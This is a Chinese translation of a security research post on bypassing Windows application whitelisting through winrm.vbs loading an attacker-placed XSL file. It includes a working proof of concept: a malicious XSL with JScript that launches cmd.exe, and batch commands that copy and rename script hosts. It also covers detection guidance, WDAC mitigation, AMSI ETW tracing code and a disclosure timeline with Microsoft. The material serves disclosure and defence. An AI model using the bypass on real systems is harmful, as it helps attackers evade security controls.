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使用 winrm.vbs 绕过应用白名单执行任意未签名代码

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绕过技术描述

winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL，而XSL不受“enlightened script host”的限制，导致任意的、无签名的代码执行。

当向winrm.vbs提供“-format:pretty”或“-format:text”参数时，它会将WsmPty.xsl或WsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着，如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置，则将执行任意未签名代码。这个问题实际上与Casey Smith的wmic.exe技术完全相同。

 

PoC

武器化工作流程如下：

  1. 将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。
  2. 将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。
  3. 执行winrm.vbs，使用“-format”开关，指定“pretty”或“text”，具体取决于哪个.XSL文件被删除，WsmPty.xsl或 WsmTxt.xsl。

下面是一个“恶意”XSL的例子，它可以放置到攻击者控制的目录中(在这个例子中，是在C:BypassDirWsmPty.xsl中)：

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

WsmPty.xsl的正确武器化可能包括嵌入式DotNetToJScript payload，从而导致执行任意的未签名代码。

mkdir %SystemDrive%BypassDir
copy %windir%System32cscript.exe %SystemDrive%BypassDir
%SystemDrive%BypassDircscript //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

 

发现方法论

这一发现本质上是偶然发生的。在与Casey进行了基于XSL的wmic.exe绕过技术 的研究后不久，我碰巧正在审核内置的VBS和JScript文件，以获得更多的绕过技术。我审核这些文件类型的动机是受到了Matt Nelson的启发，他最初用他的Purprn.vbs注入技术激起了我的兴趣。在阅读winrm.vbs的源代码时，字符串“WsmPty.xsl”和“WsmTxt.xsl”引起了我的注意，因为正如Casey在他的博客文章中演示的那样，使用XSL的应用程序有可能通过将WSH脚本内容嵌入到XSL文件中来实现任意代码执行。当然，winrm.vbs也不例外。

更广泛地说，我常常非常积极地寻找允许任意、未签名代码执行的签名脚本和二进制文件，因为它们不仅可以绕过应用程序白名单，而且不太可能被安全产品检测到(至少在它们被发布之前是不会被发现的)。我总是在狩猎！

 

检测与规避策略

为了该技术建立健壮的检测，重要的是确定执行该技术所需的最小组件集。

必须删除攻击者控制的WsmPty.xsl或WsmTxt.xsl。

winrm.vbs对WsmPty.xsl和WsmTxt.xsl进行硬编码，并显式地将它们绑定到“pretty”和“text”参数。似乎没有办法指示winrm.vbs使用不同的XSL文件，而不是使用XSL payload的可执行文件的当前工作目录(即在大多数情况下使用cscript.exe)。从检测的角度来看，WsmPty.xsl或WsmTxt.xsl文件的哈希值与System 32中的哈希值不同，应该被认为是可疑的。幸运的是，合法XSL文件的哈希值很少会改变。

此外，合法的WsmPty.xsl和WsmTxt.xsl文件是目录签名的。任何偏离这些哈希值将导致文件不再签名。换句话说，磁盘上没有签名的任何WsmPty.xsl或WsmTxt.xsl都应该被怀疑。请注意，目录签名验证要求运行“cryptsvc”服务。

必须执行签名的winrm.vbs。如果攻击者要编辑winrm.vbs的内容，这种绕过方法的值将无效。

基于命令行中winrm.vbs的存在来构建检测相对较弱，因为攻击者可以将winrm.vbs重命名为他们选择的文件名。

为了使用XSL文件，必须用“pretty”或“text”参数指定“format”。

允许对“format”进行以下不敏感的参数更改：

-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"

虽然构建“format”是否存在的检测将捕捉所有的变化，但检测可能存在问题。“format”参数是否合法使用将取决于组织。但是，除了System32中的cscript.exe和winrm.vbs之外，不太可能从其他任何地方合法调用。

winrm.vbs预计将从cscript.exe执行。脚本中有执行验证的逻辑。

winrm.vbs通过验证WScript.FullName(到正在执行的主机二进制文件的完整路径)包含“cscript.exe”来验证它是否从cscript.exe执行。不过，这是一个弱的验证，因为它只检查“cscript.exe”是否位于完整路径的任何位置。这对攻击者意味着，如果他们想要从重命名的cscript.exe或甚至从另一个脚本主机二进制文件(如wcript.exe)启动winrm.vbs，它们都可以启动winrm.vbs。下面是一个update .bat PoC，它绕过了“cscript.exe”检查。

mkdir %SystemDrive%BypassDircscript.exe
copy %windir%System32wscript.exe %SystemDrive%BypassDircscript.exewinword.exe
%SystemDrive%BypassDircscript.exewinword.exe //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

 

检测鲁棒性需要注意的

  • 在PoC示例中选择get wmicimv2/Win32_Process?Handle=4参数仅仅是为了演示一个实际的命令行参数，假设启用了WinRM服务，该参数实际上将返回有用的内容。不过，请注意，并不需要启用WinRM服务才能使用该技术，还有各种其他选项支持“format”参数。这些选项没有显示任何形式的恶意意图。
  • 鲁棒性的检测不会涉及到在命令行中查找cscript.exe或wcript.exe。没有什么可以阻止攻击者复制和重命名WSH主机可执行文件。要对进程执行进行更健壮的检测，就需要验证“原始文件名（Original filename）”以及二进制文件的签名。“原始文件名（Original filename）”(“版本信息/version info”嵌入式资源的一个组件)是文件签名时哈希计算的一部分。如果攻击者试图修改WSH主机可执行文件中的任何嵌入资源，则签名将无效。

 

缓解和预防策略

可以通过在执行用户模式代码完整性(UMCI)的情况下启用Windows防御应用程序控制(WDAC)来防止这种技术。脚本的易受攻击版本需要被哈希阻塞，因为没有其他健壮的方法来阻止易受攻击的签名脚本。然而，识别脚本的所有易受攻击版本是困难的，因为防御者不太可能捕获所有可能的Windows版本中Winrm.vbs的所有易受攻击版本的所有哈希值。这篇文章更详细地介绍了脚本黑名单的无效性。

至于缓解，Microsoft可以在脚本中修复该问题并发布新的目录签名。这样做将使以前易受攻击的脚本版本成为未签名版本。因此，如果使用WDAC强制执行脚本签名，那么以前易受攻击的winrm.vbs版本将无法执行。但是，这种方案仅阻止非管理员执行易受攻击的winrm.vbs版本。以管理员身份运行的攻击者可以安装以前的目录签名，从而恢复执行易受攻击的winrm.vbs版本的功能。

上述两种预防/缓解方案都依赖于WDAC的执行。考虑到绝大多数组织都不会启用WDAC，即使使用固定的winrm.vbs，也无法阻止攻击者将易受攻击版本的winrm.vbs放入磁盘并执行该操作。最后，确实没有可靠的预防解决方案，即使修复了winrm.vbs。

 

WSH/XSL Script

这不是第一次，当然也不会是最后一次XSL和WSH被攻击者滥用。理想情况下，攻击者应该能够洞察payload是从磁盘执行还是完全在内存中执行。Powershell具有这种使用scriptblock日志 的开箱即用能力。然而，WSH却没有这样的等价物。随着反恶意软件扫描接口(AMSI)的引入，如果你愿意使用ETW，就有可能捕获WSH内容。

AMSI Optics通过Microsoft-Antimalware-Scan-Interface ETW供应商公开.如果你想尝试捕获AMSI事件，可以使用的最佳库之一是KrabsETW。不过，简单起见，可以使用logman.exe捕获ETL跟踪。例如，以下命令将启动和停止ETW跟踪，并将与AMSI相关的事件保存到AMSITrace.etl：

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace -ets

虽然ETW的机制超出了这篇文章的范围，但你可能想知道我是如何知道Microsoft-Antimalware-Scan-Interface ETW提供者的，以及“Event1”关键字是从哪里来的。

通过使用logman query providers命令查询已注册的提供者，我知道了ETW提供者的名称。“Event1”对应于捕获AMSI上下文的关键字。为了发现该关键字，我使用了perview.exe将ETW清单转储到XML。清单还让你深入了解可以通过提供者收集的事件。

<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
    <keywords>
     <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/>
    </keywords>
    <tasks>
     <task name="task_0" message="$(string.task_task_0)" value="0"/>
    </tasks>
    <events>
     <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/>
    </events>
    <templates>
     <template tid="task_0Args">
      <data name="session" inType="win:Pointer"/>
      <data name="scanStatus" inType="win:UInt8"/>
      <data name="scanResult" inType="win:UInt32"/>
      <data name="appname" inType="win:UnicodeString"/>
      <data name="contentname" inType="win:UnicodeString"/>
            <data name="contentsize" inType="win:UInt32"/>
      <data name="originalsize" inType="win:UInt32"/>
      <data name="content" inType="win:Binary" length="contentsize"/>
      <data name="hash" inType="win:Binary"/>
      <data name="contentFiltered" inType="win:Boolean"/>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1" value="Event1"/>
    <string id="task_task_0" value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentationManifest>

捕获.ETL跟踪后，可以使用你选择的工具对其进行分析。PowerShell中的Gt-WinEvent是一个很好的内置.ETL解析器。我编写了一个简短的脚本来演示如何解析AMSI事件。注意WSH无法提供“ContentName”属性的bug，这导致需要手动解析事件数据。脚本还将捕获PowerShell的内容。

# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets

$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture

$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }

$AMSIScanEvents = Get-WinEvent -Path .AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
    if (-not $_.Properties) {
        # The AMSI provider is not supplying the contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
        # If this bug were not present, retrieving WSH content would be trivial.

        $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})

        $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
                $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)

        switch ($OSPointerSize) {
            32 { $Session = $BinaryReader.ReadUInt32() }
            64 { $Session = $BinaryReader.ReadUInt64() }
        }

        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()

        $StringBuilder = New-Object -TypeName Text.StringBuilder
        do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()

        $ContentSize = $BinaryReader.ReadInt32()
        $OriginalSize = $BinaryReader.ReadInt32()
        $ContentRaw = $BinaryReader.ReadBytes($ContentSize)
                $Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered = $BinaryReader.ReadInt32()

        $BinaryReader.Close()

        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
                $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered = $_.Properties[9].Value

        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}

$AMSIScanEvents

捕获跟踪后，将看到执行的payload的内容。

了解基于ETW的optics和检测规模超出了这篇文章的范围，但希望这个例子能激励你进一步研究它。

 

时间表

正如SpecterOps致力于提高透明度一样，我们承认攻击者一旦被公开采用新的进攻技术的速度。这就是为什么在发布一种新的攻击技术之前，我们会定期将问题通知各自的供应商，提供充足的时间来缓解问题，并通知选定的受信任的供应商，以确保检测能够尽快交付给他们的客户。

由于此技术影响到Windows防御应用程序控制(通过MSRC提供的可使用的安全功能)，该问题已报告给Microsoft。披露时间表如下：

  • 2018年4月24日-向MSRC提交报告
  • 2018年4月24日-报告已确认并指定了案件编号
  • 2018年4月30日-收到电子邮件，表示已复现该问题
  • 2018年5月24日-发送电子邮件至MSRC请求更新
  • 2018年5月28日-答复称评估工作仍在进行中
  • 2018年6月10日-发送电子邮件至MSRC请求更新
  • 2018年6月11日-MSRC回应称，产品团队的目标是8月份修复问题。
  • 2018年7月12日-MSRC的答复中指出，该问题不能通过安全更新来解决，可能在v.Next中解决

审核人：yiwang   编辑：边边